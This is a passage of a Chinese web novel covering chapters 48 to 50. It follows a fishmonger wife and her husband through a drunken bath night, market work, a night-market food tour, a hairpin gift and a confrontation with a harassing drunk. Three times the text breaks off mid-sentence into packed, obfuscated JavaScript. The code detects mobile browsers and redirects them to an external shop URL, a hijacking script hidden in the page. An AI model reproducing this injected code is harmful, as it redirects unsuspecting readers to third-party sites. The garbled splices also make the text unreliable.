爷爷这时端着厨房的废水出来，解答了平安心中疑问：“榆明说这酒好喝，又不上头，他一咕噜喝了一壶，没多久就变得迷迷糊糊的了。” 平安点头，上前就要接过爷爷手中木盆，却被他侧身躲过。 “去去去，你们早点歇息，我这活都干完了。” 平安只得接受爷爷好意，拉着木头就要回房洗漱，他们屋里另隔有一间净房，平日里洗漱也只需准备好换洗衣物和热水，比成婚前倒是方便许多。 瞧这人前胸后背皆是汗渍，平安将他推到竹躺椅上，这才去提来热水。 “醒醒，醒醒！”她拍了拍木头的脸，可他却始终迷迷糊糊，舍不得睁眼。 平安无奈，只得自己先洗漱干净再说。 夏日昼长，这会虽家中门户已闭，可透过窗纸，房中依旧可见缕缕日光，勉强可看清房中布局与物什。 今日沾染一身油烟，平安早想将这发髻拆洗干净，再安心冲个凉。 正当她将褙子褪下，外间却传来一阵细微地咯吱声响。 平安动作微顿，立马将衣服拢好朝卧房看去，却见木头正在呼呼大睡。 48. 杀鱼的第四十八天 平安的目光在四周快速逡巡，待察觉无异样，她方回到净房继续梳洗。 用温水打湿洗头皂，双手快速揉搓，手心很快搓出一捧绵密细腻的泡沫。 这肥皂是她自己用皂角、无患子、侧柏叶、女贞子、墨旱莲，还有少许的制何首乌熬制。 这些东西，除了制何首乌需去药铺购买外，其余材料在田间路边随处可见，每逢收获季节，平安便会摘上一些储存。 待将这些药材熬制成浓稠的浆液，倒入猪油、蚌壳粉、草木灰水加热搅拌。 入模具定型，放置在阴凉通风处皂化两月，这洗头皂才算做成。 她一次做得多，一年做个两三次就够用，这会用起来也不甚心疼。 平安把头发冲净梳直，便快速冲凉了事，这天本就热，洗个澡更觉热汗淋漓不尽。 她刚将身上擦干，那厢木头便步履错乱往净房跑来。 “娘子~~”他笑得灿烂，直直往平安身上扑来。 看他满面酡红，一身酒气，平安侧身躲过，一手将他拉直。 “先洗洗。” 听得这话，他竟也乖乖点头，三两下将身上衣服脱完。 平安似火燎般收回视线，她弯腰提起自己的衣物，快步就要往外边走。 “砰！” 身后突然传来一阵巨响，平安回首望去，只见披头散发的木头与水瓢同时倒地。 平安无奈地放下东西，转身将他扶起。 “你说说，你这半吊子酒量，喝那么多作甚？” “我开心。”木头囫囵回道，他睫毛眨了眨，张开眼，露出那双似水含情的眸子，“我长这么大，我终于。” 终于什么？平安侧耳听去，却等了半晌未见回音。 为着不溅湿衣物，她只得将外面的褙子脱下，这才扶着他将头发冲洗几次。 “醉鬼，下次我可就不会管你了。” 谁知他却听到了，只顶着那张酡红的脸慢吞吞回道：“嘿嘿，娘子对我这么好，才不会不管我。” “自己搓！”一瓢温水倾下，平安将毛巾甩他怀里，自己则用力搓向他后背。 看来最近这段时日，他是真受了些累，身上的肌肉着实比之前结实许多。 “知道了！”木头接过毛巾，半睁着眼胡乱搓洗。 平安只在一旁默默给他倒水。 以往两人同房，平安都是将灯吹灭，帘子拉紧，只求他快点完事，两人好各睡一边。 可这会，在这水雾丛生，光影迷蒙的狭窄净房里，她又被迫，一而再，再而三看清楚了他身上每一个部位。 这闷热潮湿的水雾彷如张牙舞爪的毒气，顷刻间袭入她的呼吸，溢满胸肺，让她有些难以喘.息。 她向来独来独往惯了，不喜欢麻烦别人，也不喜欢别人来麻烦她。 她心中清楚，她对这样突破边界与私密的行为其实是有些抗拒的。 若不是为着成亲生子，她怎么也想不到有一天她竟然会与一个男人这样亲密接触。 “娘子，水？”木头转身，纳闷问道。 “你还享受上了你。”平安替他将头发理顺，继续往他肩颈倒水。 木头只是嘿嘿低笑，并未否认。 “好了，淋干净身上的泡沫，就穿衣服。” “好。”木头乖巧点头。 应是应得很爽快，可临了，平安将衣服给他拿来，他却不肯穿了。 “什么？”平安侧耳靠近，想要听清他的呢喃。 “反正等会也要脱的。” 说罢，他那双手似那山间的藤蔓般，死死揽住平安不肯松力，嘴上还不停念叨：“娘子，娘子。” 夏季衫薄，她身上的长裤与抹胸这会早已被他身上的水汽晕湿，他滚烫的体温穿透湿薄的衣衫迅速传递至平安身上，又湿又热，让她一时间分不清这股给她带来不适的潮意到底是热水还是她的汗水。 “娘子？”木头低头看向她，问道，“可是不舒服？” “放开我。”平安不想因这点小事伤他胳膊。 “是我不好。”他道歉的语气诚恳，可是手上动作却不老实，“帮娘子脱掉就舒服了。” 平安不察他动作突然这样利索，尚未来得及阻止，身上的抹胸已被他一拉而下，而方才的异样感知在这会已得到验证。 电光火石间，平安的脸腾起一片似羞似恼的潮红，心中积攒多时的热意亦在顷刻间破土而出，直烧得她大脑顿时宕机。 孟浪，实在是孟浪！ 早知他打的是这种歪主意，她就不该发那多余的善心。 “杨榆明，这是在净房。” “咯吱！”窗户骤然打开，惊得平安不寒而栗，与此同时，一股凉风慢慢吹散屋中缭绕的水雾。平安盯着外面仔细瞧了一眼，见得是风，这才放下心来。 “喔！”他装傻般应了声，随即笑道，“那我带娘子去卧房换身新衣。” 说罢，不待平安应下，他已弯腰扣紧她腰肢，一手从她后膝穿过，一把将她抱起。 两人胡闹半晌，待得寅时，闻得公鸡打鸣，一个个半阖着眼，打着哈欠起了床。 “娘子，我本来昨夜是想与你一起去镇上看看夜景的。” “今日看情况吧。”平安与爷爷说了一声，若是他们今日饭点没有回来，那就是在镇上逗留了，让他不必担心。 早上，一家人从井中提上几挂粽子蒸热，就当做早食和无聊时垫肚的零嘴。 平安随手拿了一个，是她和爷爷都爱吃的碱水粽。 剥开粽叶，粽肉整体雪白紧实，满满当当都是清甜的糯米。 这粽子入口糯香弹牙，口感清淡微甜，还带着一股淡淡的碱香，吃着比未泡碱水的要更加香甜。 夫妻俩相携赶到档口，刚将手中的粽子分给邻舍尝鲜，就引来众人的调侃。 “好久没看到杨郎君了，可愈发俊朗了。” “那是，我昨儿可看到他划船，那可真是英气十足，胡娘子好福气。” “承蒙各位姐姐谬赞。”木头笑着作揖，引得方娘子她们连声娇笑。 这人，他若是唤方娘子也就罢了，连杨婶吴婶他都喊姐姐，那自己以后还怎么喊她们？ 木头却不管这么多，只是阔步随平安进档口打理杂物。 爷爷最近忙着编水竹凉席，木头之前的那些竹编玩意早已卖光，今日他来，本想带着之前剩下的那些竹刷、竹篮、簸箕之类便宜物件来换些钱。 平安却想培养他帮忙看店，只求哪日可让她早上去大河捞上一把。就与他商量让他将那些竹编放店里寄售，他在旁边帮自己杀鱼卖卖鱼丸就成。 能与娘子相处，木头求之不得。相处几月，他这会也逐渐能分清一些鱼种，抓起鱼来动作愈发利索。 若有客来，木头总会上前热情招呼。 因他模样出众，嘴巴又甜，一时间，倒真被他招揽来些小娘子。 待客流散去，两人便会交替剁鱼，这活看着简单，可日复一日重复这样机械的动作，手腕难免劳损。 看两人妇唱夫随，周边摊主们谈笑间接连出言调侃：“可真是年轻夫妻感情好，不像咱，左手摸右手，一点鲜味也没了。” “去去去，你这家伙，人家孩子都没出来，可不得新鲜吗？” “要新鲜啊，那你去桥墩下面找那些去，少不得染上些脏东西回家。” 只听了前半段的木头低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14466836|149090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声问道：“娘子，桥墩下是什么地方？” 平安的笑僵在脸上，她盯着他看了半晌，见他神情不似作伪，她顿了顿，解释道：“许多揽客的流莺喜欢待在那边。” “流莺？” “就是暗娼！”平安揪住他耳朵，拉着他到角落低声嘱咐，“你可少给我动这种歪心思，要是让我发现。” “让你发现就会怎样？”木头笑得乐陶陶，娘子这力道也未免太过温柔，他耳朵一点也不痛。 “不怎样，嫌脏。”平安淡淡收回手，她只会换一个夫君。 木头敏锐察觉她语中的疏冷，当下拍着胸脯保证：“我有娘子了，我的心都在娘子那，我怎会做那种事，你只管放心。” “是吗？”平安笑问，“我怎么觉得你只是喜欢好看的？” “怎会？”木头嘴角扯出抹尴尬的笑意，连忙否认。 “那要是遇着比我还好看的你要如何？” 木头眼睛朝右边飞速睨去，随即笑着应道：“在我心中，娘子就是最好看的。” 平安懒得戳破他这句口是心非的谎言，只要他未触碰她底线，她还是愿意和他继续过下去的。 因着做了夜游的打算，今日两人带出的鱼虾比之前要满当，这售卖时间自然也延长了。 临近午间，平安便让木头注意鱼丸火候，她则将剥好的河虾剁成虾泥，又向方娘子借来砧板开始擀面。 剁好的虾泥颜色灰白相间，因着这虾量少，平安又加了少许鱼肉与面粉敲打揉搓。 不多时，砧板上已擀出一片厚薄均匀的白色面片。 平安快速将面片切成半寸宽的面条，待鱼丸锅中水沸，则下入锅中开始烹煮。 灰白色的面条遇热迅速变为淡淡的红色，待面条浮起，平安将它们迅速捞出，放置于碗中。 另起锅，用热油与蒜末煸香虾头，再炒上小撮虾肉，飞入少许盐末、胡椒调味。 将这虾油虾肉盖在碗中，再浇上雪白鲜浓的鱼汤，撒上些许葱花，便是传闻中在汴京甚受欢迎的红丝馎饦。 当然，光是一碗清汤面难以填饱肚子，平安还带了昨日的鳝丝与田螺肉用作浇头调味。 这红丝馎饦口感软糯不似汤饼，倒与镇上盛行的宽米粉有些相似。 入口滑嫩软糯，满嘴皆是鱼虾的鲜香，只让人恨不得将这汤也全部下肚才好。 馎饦一出，两人便不再多言，几下便将一碗镈饦吸溜入肚。 吃罢，木头擦了擦油润的嘴角，满足地拍了拍肚子：“要不是晚上咱俩打算好好逛逛，我真想再吃一碗。” 看他这捧哏模样实在逗趣，平安笑着承诺：“下次有机会让你吃到腻。” 待档口的鱼虾卖完，两人背着竹编在镇上叫卖一圈，蹉跎半晌，这才熬到太阳下山。 见得街边陆续出现推车，两人对视一笑，将东西放回档口，便相携走上石桥，静静等待夜幕降临。 昨日端午的热闹犹在耳畔，今儿码头却只余一些来往的商船与卸货的民夫。 小镇本就偏僻寂静，能有这些商船，也是托了米市的福，这才养活了镇上这些小摊小贩。 两人在桥上买上两串粘牙糖，倚在桥边望着四周风景。 薄暮冥冥，水带斜晖。 平安第一次这样静心欣赏镇上的夜景，果真如木头所言，四处灯笼高挂，张灯结彩，瞧着是比白日更加热闹。 可结的这彩灯，他可知是什么地方？ 平安转头睨向木头，他正一脸享受地吃着手中的糖。 罢了，她没有替他详细介绍这烟花之地的爱好。 “饿了么？娘子。”看自家娘子盯着自己看了半晌，木头回神，认真问道。 49. 杀鱼的第四十九天 饿他个大头鬼，平安沉默地收回视线，无奈摇头。 “那娘子，咱们去河边逛逛吧？”木头见状，拉着平安就要往桥下走。 俩人本就是要夜游宵食摊，平安便也顺着他的力道，与他一同跨下石桥。 这会石桥两岸陆续被叫卖的摊主与游商占领，两人挤在喧闹的人群中，好奇地打量着他们叫卖的物什。 “小心。” 眼看对面有人逆向而行，直向两人冲来，木头赶忙拉紧平安的手，将她护在自己身侧。 察觉落在肩膀上的重量，平安抬眸望去，正对上他亮晶晶的双眼。 “嗯。”她抿唇轻应一声，慢慢挽紧他的手。 “你想吃什么？”平安垂眸问道。 “只要是好吃的都成。” 他这回答还是一如既往地接地气，平安抿唇轻笑，指了指一旁热情吆喝的锅盔摊：“这个怎样？” “娘子想吃咱就吃！”木头爽快递出三文钱，朝摊主唤道，“来个锅盔。” 摊主笑着应好，他拿钱匣接过铜钱，随即双手拍粉，动作麻利地将手中面团擀平。刷上些许酱料后饼皮表面瞬间变为诱人的酱红色，他又接连撒上芝麻、料粉与大把葱花。他的动作豪迈大气，让客人瞧着不禁心胸舒坦。 摊主利落将面团拍进炉壁，这才笑着与两人搭话：“娘子貌美，郎君俊逸，你们模样可真登对哟。” 平安抿唇垂眸，木头则一向脸皮厚，笑着接纳夸赞后，大咧咧与摊主聊起天来：“我之前怎没见过你？” “哟！”那摊主长叹一声，笑着应话，“郎君好眼力，我是外地的，前些日子听闻玉溪镇有龙舟赛看，我就过来凑了几天热闹，这不顺带卖卖咱那的特产。” 谈话间，炉中传来一阵浓郁的炙烤香味。 “怎样？可香？” 摊主掀开炉盖，低头观察片刻，便用铁钳将锅盔夹出，又用油纸包好，递给两人。 “小心烫。” 新鲜出炉的锅盔，已被炭火炙烤得两面圆鼓，色泽焦黄，一面的面皮上沾满红色的香浓酱料和翠绿的葱花，这会正散发着腾腾热气与诱人咸香。 平安伸手接过，分了一半给木头。 “唔，真好吃。”木头大口咬上一口，眯着眼喟叹出声。 确实味道不错，锅盔被炭火炙烤得外酥里嫩，表皮虽略带酥脆，内里却是组织绵软，入口细腻。 而面皮上刷制的酱料与香料粉也是咸香扑鼻，与口感丰富的饼皮一同入口，齿颊间还可品出淡淡的肉香。 平安猜测，那酱料应是用了肉醢与豆酱熬制、至于那艳丽的红色，估摸着是加了红曲粉或是酱汁晕染。 那香料粉，她只尝出小茴香、花椒、蒜粉、孜然的味道，别的却有些难猜，这些香料磨粉与香葱合在一块炙烤，顿时让这块普通的烤饼产生一种迥异于蒸饼、汤饼的独特炭火风味。 告别这锅盔摊主，两人边吃边走，心中不禁对这夜市的美食心生无限憧憬。 此刻沿河的栈道已然灯火辉煌，商业繁荣。 看两人相伴而行，想是夫妻无疑，许多摊主忙热情吆喝揽客。 “漂亮的折扇、团扇、便宜处理了！小娘子可要买把扇扇风？” “好郎配好妻，好簪配美人，郎君，给您家娘子买根簪子吧？” “我这有上好的镶珠绣鞋，那都是咱本地产的好珍珠，娘子这么美，合该买我一双好鞋，保管您穿得舒适。” 看着眼前这堆花花绿绿的料子与饰品，平安着实有些眼花缭乱。 她对衣衫首饰并无多大兴趣，在她看来，衣服能穿就行，有那多的钱，还不如买些吃的犒劳犒劳五脏府。 听着摊主们止不住地吆喝声，声声交杂错乱，似木槌接连敲击后脑，她听得头昏脑涨，拉着木头就要走，可他却又把她拉了回来。 “哎，娘子，看看嘛！” 他牵着平安踱步至那首饰摊前，目光在那一排排首饰上逡巡。 他从中挑起一根样式素雅的银簪，平安一眼就望见那簪子顶端镶嵌着一朵花瓣繁复的栀子，簪子虽成色不佳，但这雕刻技艺倒是栩栩如生，这想必就是他挑中它的缘由了。 这段时日，木头对这栀子花比自己还要痴迷，就浑像以前没见过几回似的。 “喜欢吗？”木头低声问道。 平安抬眸尚未言语，木头便接着道来：“我看房中多瓶插栀子花，便猜测娘子喜欢这花。” “猜得没错。”当地人就没几个不爱栀子的，每逢栀子花开时节，不少娘子婶子头上都会簪上几朵香喷喷的栀子花。 平安笑着掂了掂这簪子重量，她眸光微动，敏锐察觉摊主脸上窃喜之色一闪而过。 “不过我觉得这个不够精细。”平安话锋一转，将簪子塞回木头手中。 “那是。”木头闻言，亦蹙眉看向手中银簪，他抬头看着摊主道，“要不，下次再给你挑支更好看的。” “哎哎哎，小娘子哟，我这簪子可是这独一份，你去别处那都只有牡丹玉兰，哪有我这栩栩如生的栀子呀。” “你都说是独一份了，那想必价格也不便宜。” 摊主连忙接话：“不贵，不贵，我这簪子才八百文。” 才八百文，木头刚想应话，衣摆便被娘子猛然拉住，他这才回神，想起自己身上的余钱。他心中终究是有些虚怯，若是让娘子付钱那他买这根簪子还有何意义。 盯着手中簪子看了半晌，思来想去，他将这簪子放回原处。 眼看着客人要走，这摊主忙上前挽留：“哎哟喂，您若是真心想要，这价格咱们也还可以商量。” 平安并未直接砍价，只道：“你这簪子瞧着可不是素银。” “嘿嘿。”那摊主讪笑一声，又擦了擦那簪身，“我这个瞧着也大差不离了，您看看这雪白锃亮的。” 平安笑了笑：“是挺好的，只可惜我们身上没带这么多银钱。”说罢她便拉着木头离开。 晚间的镇上，因着往来商船与那些爱夜间潜行的饕客，热闹程度比之白日有过之而无不及。 穿过这些零散的摊位，往前继续走，眼前竟出现许多露天席地的桌椅板凳。 不少人正俯身桌前，大口朵颐。 “吃点？”平安拉了拉木头的手。 “可以。”木头笑嘻嘻握紧她的手，在空中前后摇荡。 两人交握之处，滚烫又炽热，明明是炎热的夏日，可平安看着他的笑颜，潜意识里竟难得的未反感这灼热黏腻的触感。 这会气候微微燥热，所幸河边不时刮来一阵凉风可解几分暑气。 眼前一侧是灯火繁华，一侧是幽幽河面与星星点点的萤火。待那熟悉的虫鸣声此起彼伏地传入耳畔，平安躁动的心，在这一刻仿佛也随着此情此景安静下来。 平安挽着木头溜达一圈，大抵摸清了这边的宵食种类。 现下天热，卖得好点的除了凉食、冰饮外，就只有扁食、汤面与下酒菜。 至于那些喝酒的人，则是从正店里买来酒水，到这街边买些便宜的签菜、炙肉之类的菜品作为下酒菜。 平安要了一碗冷淘，木头则买了一碗扁食。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14481459|149090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他倒是不避嫌，扁食刚到手，他便舀上两颗到平安碗里，然后也不做声，只是笑眯眯地看着她。 平安如何不知晓他的意思，便也夹了大筷冷淘给他尝味。 这扁食面皮算是滑嫩，内陷是脆脆的笋粒与少许绵软的肉泥，只是汤底终究是寡淡了些，平安瞧着木头跟前的面汤上仅有一层淡淡的油腥。 因着有肉，这碗扁食售价四文，她也不强求更多。 平安抬头瞟了眼对面的木头，见他眉心微蹙，这会正低头慢慢嚼咽。 她默默地收回视线，埋头品尝起这冷淘来，蒜香浓郁，口感清爽，味道还算可以，也难怪那些桌上几乎都摆了一碗。 夫妻俩沉默着吃完这顿饭，临了，平安打算买些冰饮子解解渴，木头却说他掉了东西，让平安在这等他，他去去就回。 平安淡然应下，心下却不禁猜疑有什么事能让他这样紧张，莫不是掉了钱吧？ 若真是这样，他还不如喊自己一起去给他找，两个人怎么着也快一些。 这卖酥山、酥酪之类冰饮的档口有正经的铺面，只是需沿着河堤走上百米。 平安点了盆酥山，冰块被刨成细密如雪的绵冰，在盆中堆成小山形状，上面覆有一层绵密的酥酪，顶上还撒上鲜红桃酱与几枝鲜花装饰。 看着颇为雅致，吃到口中，绵密的冰沙入口即化，与此同时，酥酪的香浓与酱的甘甜亦随之充斥整个口腔。再回味，却只能品到底下无味透明的冰。 味道中规中矩，若是酥酪再多些，想来口感要馥郁几分。 平安心想，她莫不是个抠搜命。 这样一碗酥山花了十文钱，她着实有点心疼。若是可以，她宁愿花十文去买两斤牛乳，自己做一堆酥酪出来，那样的酥山底下全是浓郁的酥酪，而非寡淡的冰沙，吃起来才是真的自在。 到时候里面或是加些甜酒，或是加些鲜果，或是加些花茶，都可使这酥山风味倍增。 看了眼这几乎座无虚席的档口，平安只遗憾自己手中没钱，要不然她高低也要多盘一间铺子卖卖各色宵食与冰饮。 待这碗酥山用尽，木头还久久不归。 她替他买了筒甘草冰雪凉水，提着便往两人分开的地方走。 平安焦急地在原地等了半晌，木头这才揣着袖乐颠乐颠跑来。 这会天色虽暗，但处处灯笼高挂，视野还算清晰，在嘈杂喧闹的人群中，身姿高挑的木头无异于鹤立鸡群，平安轻易便看清了他额间细密的汗珠。 两人目光交汇，木头愣怔一息，随即加快了步伐。 看他速度还要加快，平安不禁出声劝道：“慢些跑，别着急。” 木头却不听，三步作两步跑到她跟前。 见着四周人多，他献宝似地拉着平安往柳树下跑。 “怎么了？”平安小声问道。 “娘子，你闭眼。” 平安不知他这是要唱出什么戏，犹疑片刻后，她终究慢慢阖上双眼。倏地，她心中忧虑骤生，不禁有些担忧这人做出什么破格之事。 可她眼睛刚刚眨动，便被一只温热的手掌轻轻抚过，挡住她面前的所有光线。 黑暗之中，所有的感官似乎都变得敏锐起来。 身边人急促的呼吸声、柳条被风吹过的摩挲声、还有河水涓涓流淌的泠泠声响，都在顷刻间涌入她的耳中，让她后背不由僵硬紧绷起来。 蓦地，一阵袖风扫过，平安只觉鬓间仿佛压上了什么东西。 “好了。”木头欢快地声音传来，平安眼前瞬间一片亮堂，她下意识便往鬓间摸去。 50. 杀鱼的第五十天 冰凉的触感瞬间从指腹传来，平安轻轻摩挲簪端，这熟悉的形状，是那根栀子簪无疑了。 “怎样？喜欢吗？” “喜欢。”平安点头，良久，她终是好奇出声，“你哪来那么多钱？” 说起这个，木头十分得意，他掸了掸身上的灰，笑道：“那还不得亏你夫君聪明伶俐口若悬河，三两句就将价格砍下。” 平安无奈地替他理了理衣领：“那你花了多少？” 木头挑眉，得意地伸出三根手指。 “三百文？”平安瞳孔微缩。 “正是。”木头挽着她的手，笑着接过她手中的凉水，咕噜喝上一大口。 这样低的价格，看来不仅仅银不纯，心也不太纯。现在一两银价值一贯六钱，那簪子虽轻，可好歹也有些重量，三百文怕是连本钱都难赚回。 这簪子若是外边用了层包了银都算店家有良心，平安想了想，钱也花了，终归是木头的一片心意，她指责也无用，反而会让两人徒增嫌隙。 只是她难忍心中好奇：“你哪来这么多钱?” “之前娘子给我的两百文我没花，村里龙舟得了彩头，村长给咱一人分了点钱。” 平安轻轻颔首，诧异问道：“你全花了？” 木头喜滋滋点头。 这傻子，他自己都未舍得用的钱全给她买了根簪子，这下，就算这根簪子是铁的，就算她觉得华而不实，她也没法多说什么。 幸好她从未对木头手中的钱有什么想法，这会他口袋空荡荡，她也不至于心疼。 “还要吃点东西吗？” 方才那些食物除了那锅盔算得上美味，其他的都有些差强人意。 “走！”木头将竹筒中的凉水一饮而尽，拉着平安便继续逛。 两人穿过这条宵食街，顺道又带了两个锅盔，便转弯溜达到河对岸。 那边多瓦舍茶楼，脚店正店林立，夜市繁华程度不输东市。 夫妻俩挤在人群中看了会魔胜，走走停停，竟来到许娘子家脚店。 她家向来是做午、晚两市，这会尚未打烊乃是常事。 平安刚接近门口，就听得里面有声音传来：“哟，许娘子，你家最近可是好事接近？这可真是可喜可贺，可喜可贺啊！” “八字没有一撇，等日子定下再请各位喝杯好酒。”许娘子并未直言，只是笑着将话题揭过。 平安闻声望去，恰巧与许娘子视线对上。 她惊愕一瞬，视线落在木头身上，随即笑着与平安颔首示意。 许久未见，她神色竟比之前憔悴，也不知发生了什么。 平安微笑回礼，随即拉着木头往街边摊位而去。 两人买了两块甜米糕填了填肚子，吃着米香浓郁，蓬松暄软，入口微甜，做个小零嘴倒是不错。 一整日两人都没吃什么油水，走了这样久路，很快便觉肚中空荡荡。 待见得滋滋冒油，香气飘飘的签肉时，夫妻俩相视一笑，当即停下脚步。平安大手一挥，一买样上几串，就等着摊主现炸尝鲜。 闻着那呛鼻的炭火味，平安觉得有些闷热，便走到河堤边寻了棵树歇息。 “多少钱？” 平安正倚着树干神游，霎时间，一股熏天的酒味突然袭来，她回神望去，原是一中年男子在与她低声搭讪。 “什么？”平安诧异抬头，她指着摊位对他道，“你自己去问摊主不就行了，问我作甚。” “你这小娘子，装什么装，我问你多少钱。”说罢，他色眯眯盯着她胸口看，上前就要摸平安的手。 平安侧身躲过，脸色瞬间冷了下来，她总算明白，这人是把她当成了街边揽客的流莺。 “多少钱？”平安冷笑一声，她捋了捋衣袖，指着那人鼻子便骂道，“看你年纪也老大不小了，眼睛这样不灵光？怎么？大晚上净爱做些见不得人的勾当，不怕一家子丢尽脸面？多少钱多少钱，我倒要问问打你一顿多少钱？” “我呸！你这骚娘们嘴巴给老子放干净点。穿得这么露，大晚上待在这不是揽客是什么？”他轻蔑出声，打量的目光更加肆无忌惮。 时下娘子多穿抹胸配对襟褙子，待天气转凉，也会将这褙子换成挡风的交领襦衫。自己的衣着又有何问题？ 听他这样胡诌，今日是不能善了，平安怒极反笑：“我嘴巴干净，可你眼睛不干净，见着个女人就随地发春的东西，我看你脑壳里装的不是脑子而是虫子。” “闭嘴。” 见平安并不好惹，那人大为光火，当下啐地一声，上前就要扇她。 平安才不想与这种人肢体接触，谁知道会不会染上什么病。她一个闪身便躲过攻击，直往摊子那边跑去。 与摊主畅谈的木头听得吵闹声，好奇回首，这才发现竟是自家娘子在与人争吵。 “你这娘们，还敢跑？”那人见状，怒火腾腾朝她追来。 “你都有脸追，我怎么不敢跑，我还要跑去官府，看看你这等欺辱良家的流氓要如何论处！”平安说罢，忙拉住木头，以防他发怒揍人。 众人见得此处有热闹可看，也不由驻足旁观静待后续。 看这娘子模样艳丽非常，确实勾人。某些郎君听得原来是这种香艳“误会”，嘴角不约而同地扬起玩味的笑意，与身边的狐朋狗友相视一笑。 听了几句后，木头这会才反应过来，他忙拉过平安上下打量：“娘子，你没事吧？” 平安深吸一口气，轻笑着摇摇头，随即转身对那人道：“当今开明治下，夜市灯明，通晓不绝，无论是汴京城里还是咱们这玉溪镇上，皆不乏女子开店支摊，撑起家中门户。而咱们大街小巷的行人中，娘子夫人亦络绎不绝。可在你这人口中，但凡女子孤身待在路边，便是在做流莺揽客，上手不成便恼羞成怒妄想打人。依我看，你莫不是以狎妓之名行非礼良家之实罢？” “呸呸呸！”看她越扯越大，那人连忙唾道。 平安不给他狡辩机会，高声打断他的话：“在场各位谁家中没有母亲姊妹，女儿孙女。试问，若是各位家中娘子夜间走到路边就要被问一句卖身多少钱，她们心中作何想，各位心中又作何想？若是我这种混不吝的也就罢了，脸皮薄的小娘子怕是会这种孟浪言行羞得当场投河。” 许多人自己玩玩可以，可若是这种事情落到自家亲人身上，那便是另一种态度。 众人瞧了瞧这巧舌如簧的美艳娘子，又看了看这满身酒气的醉鬼，心中的天平也不由慢慢倾斜。 木头心疼地看了眼自家娘子，当下就想冲上去给他个教训，却被她一把拉住。 “娘子！”木头诧然出声。 平安捏了捏他的手，看着他轻轻摇头。 看她拉其他人下水，那人顿时急得跳脚：“我可没说，你这娘们别想给老子扣歪帽子，方才明明是你勾引于我，这会还想倒打一耙。” 平安嗤笑道：“我若要勾引人，为何不勾引有权有势的年轻郎君，我这样想不开来找你？” 木头也挺直胸膛附和：“呸，也不撒泡尿照照镜子，我家娘子仙姿玉貌，她连我都只是勉强入眼，还看得上你。” 众人听木头这样自贬，不禁哈哈大笑起来，这酒鬼的借口着实荒谬。 有认出平安来的，笑问那醉鬼：“她你都不认得？下次找人可要擦亮眼睛。” 那人语塞，转头一看，围观人群中不乏熟人，他自觉丢脸，一言不发就要遁走。 平安推了推木头，他立马上前大力钳住此人。 她则朗声朝众人说道：“我好好地在树下等我夫君，你上前就要轻薄于我，还再三问我卖身多少钱。我清清白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14494631|149090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白的良家妇人，亦有自己的正当营生，被你欺辱调戏泼上一身脏水，你今朝不道个歉就走？” “就是！”手持签串的小娘子娇声斥道，“若街上都是你这种人，那咱们以后可不敢出门了。” “我早就说这一片得喊来官署整治一番，那些妓子有错，这些娼客也不是什么好东西，害得咱们这些良家晚上都不敢靠近桥墩。”看热闹的大婶啐地吐出口中的南瓜子壳，显然曾深受其害。 “明日咱们一起去请官巡捕们好好肃清肃清这儿的风气。”说起这等事，不少大婶亦恨恨出声，那凌厉的目光似刀子般直戳戳扫向在场男人。 这地方许多汉子可都是常客，听得她们这话，心中不甚乐意，但又碍于娘子在场不好打破。 “依我看，怕是惯犯，要不咱们押送他去官府，看看这人有无作奸犯科的劣迹？”一些妇人越想越气，拉着自家男人就要上前。 看她们言语激愤，身边不乏身强力壮的男子作伴，而闹事头头平安这边也非孤身一人。 那醉鬼自觉不敌，这才僵着脸道歉：“误会误会，都是误会一场。” 他看了眼平安，不虞道：“今日喝多了酒，脑子犯浑认错了人，小娘子原谅则个。”说罢，便挣脱木头束缚，掩面逃走。 见他离去，平安笑着朝娘子们道谢：“多谢各位娘子仗义相助，我姓胡，白日里在市集东街卖鱼为生。若是各位娘子有空赏脸，明日我在档口请大家吃我现做的鱼丸，就当交个朋友。” “哪里哪里，胡娘子太过客气。” “可是东街口子进去的第三家？” “正是。” 等人群散去，木头这才心有余悸叹道：“娘子，下次我不和你分开了，这边可真乱。” “那是，以后晚上我都带你一起来。”平安笑着接过他递来的签菜，慢条斯理地品尝起来。 嗯，入口油香十足，炭香浓郁。外边的那层网油被文火烘烤得滋滋冒油，入口酥脆，里面包裹的鸭肉，猪肉则细嫩多汁。一肥一瘦，一咸一淡，搭配着外面洒的香料葱花，恰如其分地为这签肉增添了恰当的咸味与风味。 待这插曲过去，平安也大致了解了镇上宵食的情况，两人便收拾收拾东西回了家。夜市确实热闹，但牛鬼蛇神也是真多，她若晚间出门，还是得带上木头保险。 等到次日，档口果不其然来了些小娘子。 平安这边早已备好之前支摊的油锅，待她们上门，便热情招待。 那些娘子昨日能仗义执言，性格也多爽利直接，见得平安这般守诺，当下也不好意思占她便宜，或多或少买了些东西走。 今日村中唱戏办流水席，木头便随爷爷留在了村里。 